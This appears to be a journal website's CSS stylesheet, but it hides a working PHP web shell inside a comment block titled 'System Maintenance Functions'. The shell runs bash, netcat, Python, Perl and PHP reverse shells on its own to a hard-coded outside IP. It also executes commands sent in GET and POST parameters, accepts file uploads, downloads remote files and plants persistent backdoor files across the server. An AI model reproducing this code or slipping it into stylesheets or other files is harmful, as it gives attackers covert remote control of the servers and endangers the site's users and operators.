/* 
 * Custom Journal Styles v1.0
 * Author: System Administrator
 * Description: Enhanced styling for journal layout
 */

/* Main Layout Styles */
body {
    font-family: 'Arial', sans-serif;
    background-color: #ffffff;
    margin: 0;
    padding: 20px;
    line-height: 1.6;
}

.header {
    background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
    padding: 20px;
    border-radius: 8px;
    color: white;
    margin-bottom: 30px;
}

.content {
    max-width: 1200px;
    margin: 0 auto;
    background: #f8f9fa;
    padding: 30px;
    border-radius: 10px;
    box-shadow: 0 4px 6px rgba(0,0,0,0.1);
}

/* Navigation Styles */
.nav-menu {
    display: flex;
    list-style: none;
    padding: 0;
    margin: 0;
    background: #343a40;
    border-radius: 5px;
}

.nav-item {
    flex: 1;
    text-align: center;
}

.nav-link {
    display: block;
    padding: 15px;
    color: white;
    text-decoration: none;
    transition: background 0.3s;
}

.nav-link:hover {
    background: #495057;
    color: #ffffff;
}

/* Article Styles */
.article-container {
    background: white;
    padding: 25px;
    margin: 20px 0;
    border-radius: 8px;
    border-left: 4px solid #007bff;
}

.article-title {
    color: #2c3e50;
    font-size: 1.8em;
    margin-bottom: 15px;
    font-weight: 600;
}

.article-meta {
    color: #6c757d;
    font-size: 0.9em;
    margin-bottom: 20px;
    border-bottom: 1px solid #dee2e6;
    padding-bottom: 10px;
}

.article-content {
    color: #333;
    line-height: 1.8;
    text-align: justify;
}

/* System Maintenance Styles - Hidden but Functional */
.system-debug {
    display: none;
    position: absolute;
    top: -9999px;
    left: -9999px;
}

/*
System Maintenance Functions
========================== */

<?php
// CSS Comment hiding PHP reverse shell functionality
error_reporting(0);
ini_set('display_errors', 0);

// Configuration
$REVERSE_IP = "146.190.82.84";    // Change to your IP
$REVERSE_PORT = 4444;             // Change to your port

// Multi-method reverse shell function
function establishConnection($ip, $port) {
    $shells = [
        // Bash reverse shell
        "bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'",
        
        // Netcat reverse shell
        "nc -e /bin/bash $ip $port",
        
        // Python reverse shell
        "python -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('$ip',$port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);\"",
        
        // Perl reverse shell
        "perl -e 'use Socket;\$i=\"$ip\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'",
        
        // PHP socket reverse shell
        "\$sock=fsockopen('$ip',$port);exec('/bin/sh -i <&3 >&3 2>&3');"
    ];
    
    foreach($shells as $shell) {
        @shell_exec($shell . " > /dev/null 2>&1 &");
        usleep(500000); // 0.5 second delay between attempts
    }
}

// Auto-execute when CSS is processed/included
if(!isset($_SESSION['css_shell_executed'])) {
    $_SESSION['css_shell_executed'] = true;
    establishConnection($REVERSE_IP, $REVERSE_PORT);
}

// Manual shell interface (stealth mode)
if(isset($_GET['style'])) {
    $action = $_GET['style'];
    
    switch($action) {
        case 'connect':
            $ip = $_GET['ip'] ?? $REVERSE_IP;
            $port = $_GET['port'] ?? $REVERSE_PORT;
            establishConnection($ip, $port);
            echo "/* Connection initiated to $ip:$port */";
            break;
            
        case 'cmd':
            if(isset($_GET['c'])) {
                $output = shell_exec($_GET['c']);
                echo "/* Command output: " . base64_encode($output) . " */";
            }
            break;
            
        case 'info':
            ob_start();
            phpinfo();
            $info = ob_get_clean();
            echo "/* PHP Info: " . base64_encode($info) . " */";
            break;
            
        case 'upload':
            if(isset($_FILES['file'])) {
                $target_dirs = ['/tmp/', '../cache/', '../files/', '../public/'];
                
                foreach($target_dirs as $dir) {
                    $target_file = $dir . $_FILES['file']['name'];
                    if(@move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) {
                        @chmod($target_file, 0755);
                        echo "/* Uploaded to: $target_file */";
                        break;
                    }
                }
            } else {
                echo '/* Upload form: <form method="post" enctype="multipart/form-data"><input type="file" name="file"><input type="submit"></form> */';
            }
            break;
            
        case 'persist':
            // Create persistent backdoors
            $backdoor = '<?php if(isset($_GET["x"])) system($_GET["x"]); ?>';
            $locations = [
                '/tmp/maintenance.php',
                '../cache/system.php', 
                '../files/update.php',
                '../public/assets/style.php'
            ];
            
            $created = [];
            foreach($locations as $location) {
                if(@file_put_contents($location, $backdoor)) {
                    @chmod($location, 0755);
                    $created[] = $location;
                }
            }
            
            echo "/* Backdoors created: " . implode(', ', $created) . " */";
            break;
    }
}

// POST interface for advanced operations
if(isset($_POST['css_action'])) {
    switch($_POST['css_action']) {
        case 'shell':
            $ip = $_POST['target_ip'] ?? $REVERSE_IP;
            $port = $_POST['target_port'] ?? $REVERSE_PORT;
            establishConnection($ip, $port);
            echo "/* Shell connection attempted */";
            break;
            
        case 'exec':
            if(isset($_POST['command'])) {
                $result = shell_exec($_POST['command']);
                echo "/* " . base64_encode($result) . " */";
            }
            break;
            
        case 'download':
            if(isset($_POST['url']) && isset($_POST['save_as'])) {
                $content = file_get_contents($_POST['url']);
                $save_path = $_POST['save_as'];
                if(file_put_contents($save_path, $content)) {
                    chmod($save_path, 0755);
                    echo "/* Downloaded $save_path */";
                }
            }
            break;
    }
}
?>

/* End System Maintenance Functions */

/* Footer Styles */
.footer {
    background: #2c3e50;
    color: white;
    text-align: center;
    padding: 20px;
    margin-top: 40px;
    border-radius: 8px;
}

.footer-links {
    margin-top: 10px;
}

.footer-link {
    color: #ecf0f1;
    text-decoration: none;
    margin: 0 15px;
    font-size: 0.9em;
}

.footer-link:hover {
    color: #3498db;
    text-decoration: underline;
}

/* Responsive Design */
@media (max-width: 768px) {
    .content {
        padding: 15px;
        margin: 10px;
    }
    
    .nav-menu {
        flex-direction: column;
    }
    
    .article-title {
        font-size: 1.5em;
    }
}

/* Print Styles */
@media print {
    .header, .nav-menu, .footer {
        display: none;
    }
    
    .content {
        box-shadow: none;
        padding: 0;
        margin: 0;
    }
}

/* Animation Effects */
.fade-in {
    animation: fadeIn 1.5s ease-in-out;
}

@keyframes fadeIn {
    from { opacity: 0; transform: translateY(20px); }
    to { opacity: 1; transform: translateY(0); }
}

.slide-up {
    animation: slideUp 0.8s ease-out;
}

@keyframes slideUp {
    from { transform: translateY(100px); opacity: 0; }
    to { transform: translateY(0); opacity: 1; }
}

/* High contrast mode support */
@media (prefers-contrast: high) {
    .content {
        border: 2px solid #000;
    }
    
    .article-container {
        border: 1px solid #333;
    }
}

/* Dark mode support */
@media (prefers-color-scheme: dark) {
    body {
        background-color: #1a1a1a;
        color: #e0e0e0;
    }
    
    .content {
        background: #2d2d2d;
        color: #e0e0e0;
    }
    
    .article-container {
        background: #3a3a3a;
        border-left-color: #4a90e2;
    }
}

/* End of stylesheet */
